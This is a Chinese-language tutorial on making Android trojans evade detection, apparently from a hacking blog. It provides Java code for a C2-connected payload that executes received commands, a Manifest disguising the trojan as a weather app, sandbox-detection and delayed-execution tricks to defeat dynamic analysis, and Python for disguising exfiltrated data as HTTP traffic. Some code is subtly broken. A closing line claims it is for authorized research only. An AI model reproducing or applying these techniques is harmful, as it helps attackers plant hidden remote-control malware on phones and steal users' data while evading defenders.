0x01 探秘手机木马的免杀原理

在研究手机木马免杀技术之前,我们需要先了解安全检测的基本原理。当前的杀毒软件、EDR和移动端安全解决方案(如Google Play Protect、360等)主要依赖以下机制:

  1. 签名检测:通过比对已知恶意软件的签名库,直接定位木马程序。
  2. 行为分析:通过分析程序的运行行为,判断是否存在异常操作(例如后台窃取数据、劫持摄像头等)。
  3. 静态分析:对APP的Dex文件、资源文件(如Manifest)和.so库进行反编译,排查恶意代码。
  4. 动态分析:在沙盒环境中运行并监控程序,看其是否触发恶意行为。

我们的目标是绕过这些检测机制,同时在攻击过程中保持木马的隐匿性,尽可能延长其存活周期。本文将从静态免杀、动态免杀、流量伪装三个方面,逐步解析手机木马的免杀技巧,并提供完整的代码示例供大家复现。

---

0x02 定制化Payload的高级玩法

想要实现免杀,我们首先需要解决的就是Payload的生成问题。传统的Metasploit生成的Android Payload(例如android/meterpreter/reverse_tcp)直接打包的APK文件很容易被杀毒软件秒杀。为了实现定制化,我们可以从以下几个方面优化Payload:

改写Payload源码

Meterpreter的Android Payload其实是一个标准的Java程序,我们可以对其源码进行改写,从而规避特征检测。例如,将原始的通信逻辑改写为基于WebSocket的异步通信,同时对关键逻辑进行混淆处理。

以下是一段示例代码,通过将原始的Meterpreter通信逻辑改为使用WebSocket:

<pre><code class="language-java">package com.example.payload;

import java.net.URI; import java.util.concurrent.Executors; import javax.websocket.ContainerProvider; import javax.websocket.Session; import javax.websocket.WebSocketContainer;

public class CustomPayload {

private static final String SERVER_URI = &quot;ws://192.168.1.100:8080&quot;; // C2地址

public void startPayload() { try { WebSocketContainer container = ContainerProvider.getWebSocketContainer(); Session session = container.connectToServer(new PayloadClient(), new URI(SERVER_URI)); Executors.newSingleThreadExecutor().submit(() -&gt; { while (session.isOpen()) { try { // 监听C2指令并执行 String command = session.getBasicRemote().toString(); Runtime.getRuntime().exec(command); } catch (Exception e) { // 异常处理 } } }); } catch (Exception e) { // 异常处理 } } }</code></pre>

将这个代码编译后,我们可以将其集成到任意APK中,完成Payload的基本构造。

Dex文件混淆与压缩

为了绕过静态分析,我们需要对Dex文件进行混淆和压缩操作。这里推荐使用ProGuard工具,它可以对Java/Kotlin代码进行重命名、去除调试信息等,从而降低被识别的风险。

配置ProGuard规则示例:

<pre><code>-keepclassmembers class com.example.payload. { ; } -dontwarn android. -dontwarn javax.* -optimizationpasses 5 -dontshrink -dontoptimize</code></pre>

将ProGuard集成到你的构建流程中,可以有效减少被反编译后代码暴露的风险。

---

黑客示意图

0x03 静态免杀的极限优化

黑客示意图

即便Payload本身已经经过处理,直接打包成APK后仍有可能被各种杀毒软件拦截。这是因为生成的APK文件本身可能包含敏感信息(例如恶意权限、明显的类名等)。以下是几种常用的静态免杀优化手段:

篡改Manifest文件

Manifest文件是APK的入口点,如果其中声明了过多权限(例如读取短信、录音等),很可能会触发检测。因此,我们可以通过以下方式对Manifest进行伪装:

  1. 移除不必要的权限声明。
  2. 替换敏感的serviceactivity名称,例如将MainService改为更普通的名称,如SyncService
  3. 添加合法的应用声明,例如伪装成一款天气应用。

示例伪装后的Manifest:

<pre><code class="language-xml">&lt;manifest xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot; package=&quot;com.example.weather&quot;&gt;

&lt;application android:allowBackup=&quot;true&quot; android:label=&quot;WeatherApp&quot; android:icon=&quot;@mipmap/ic_launcher&quot;&gt; &lt;service android:name=&quot;.SyncService&quot; /&gt; &lt;/application&gt;

&lt;uses-permission android:name=&quot;android.permission.INTERNET&quot; /&gt; &lt;/manifest&gt;</code></pre>

通过这种方式,可以大幅降低被检测的可能性。

加壳技术

对APK文件进行加壳处理也是一种常见的免杀手段。加壳工具可以将原始Dex文件加密存储在一个壳中,在运行时解密并加载到内存中运行。这里推荐使用APKProtect等开源工具。

---

0x04 绕过动态分析的奇招

黑客示意图

动态分析系统通常会通过沙盒环境运行APK,触发其行为来判断是否恶意。为了对抗动态分析,我们可以利用以下技巧:

沙盒逃逸检测

通过检查运行环境的特征,可以判断当前是否处于沙盒中。例如:

  • 沙盒中的系统时间通常是固定的,可以通过调用System.currentTimeMillis()来检测异常。
  • 检查设备的IMEI、MAC地址等是否为默认值。

以下是一个简单的沙盒检测代码:

<pre><code class="language-java">public boolean isInSandbox() { String imei = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); return imei.equals(&quot;000000000000000&quot;); }</code></pre>

如果检测到沙盒环境,我们可以直接退出程序,避免触发恶意行为。

延迟加载恶意逻辑

很多动态分析系统只运行应用的前几分钟,因此我们可以将恶意逻辑延迟加载。例如,设置一个定时器,延迟30分钟后再加载恶意模块。

---

0x05 伪装C2流量的艺术

即使木马成功运行,C2通信依然是一个显眼的攻击面。如果通信流量被识别为恶意,很可能会被拦截。因此,我们需要对C2流量进行伪装。

黑客示意图

使用合法协议伪装

最简单的方式是将C2通信伪装成合法协议,例如HTTP或DNS。以下是一个伪装为HTTP流量的示例代码:

<pre><code class="language-python">import requests

C2_URL = &quot;http://example.com/api&quot;

def send_command_result(result):

将结果伪装成正常的HTTP请求

payload = { &quot;device_id&quot;: &quot;12345&quot;, &quot;data&quot;: result } response = requests.post(C2_URL, json=payload) return response.status_code</code></pre>

这种方式可以有效规避流量检测,尤其是在HTTPS加密的情况下。

数据加密

为了防止流量解密分析,我们可以对所有数据进行AES加密处理。以下是一个简单的加密示例:

<pre><code class="language-python">from Crypto.Cipher import AES import base64

key = b&#039;Sixteen byte key&#039; cipher = AES.new(key, AES.MODE_ECB)

def encrypt_data(data): return base64.b64encode(cipher.encrypt(data.rjust(32))).decode()</code></pre>

---

0x06 个人作战经验

基于多年的红队经验,以下是一些关键建议:

  1. 每次攻击都生成独特Payload,避免重复使用导致签名被识别。
  2. 动态加密C2通信,即使被检测到流量也无法解析。
  3. 定期测试Payload对主流杀毒软件的免杀效果,根据反馈不断优化。

请注意,本文所有技术仅供授权的安全研究和测试,严禁用于非法用途!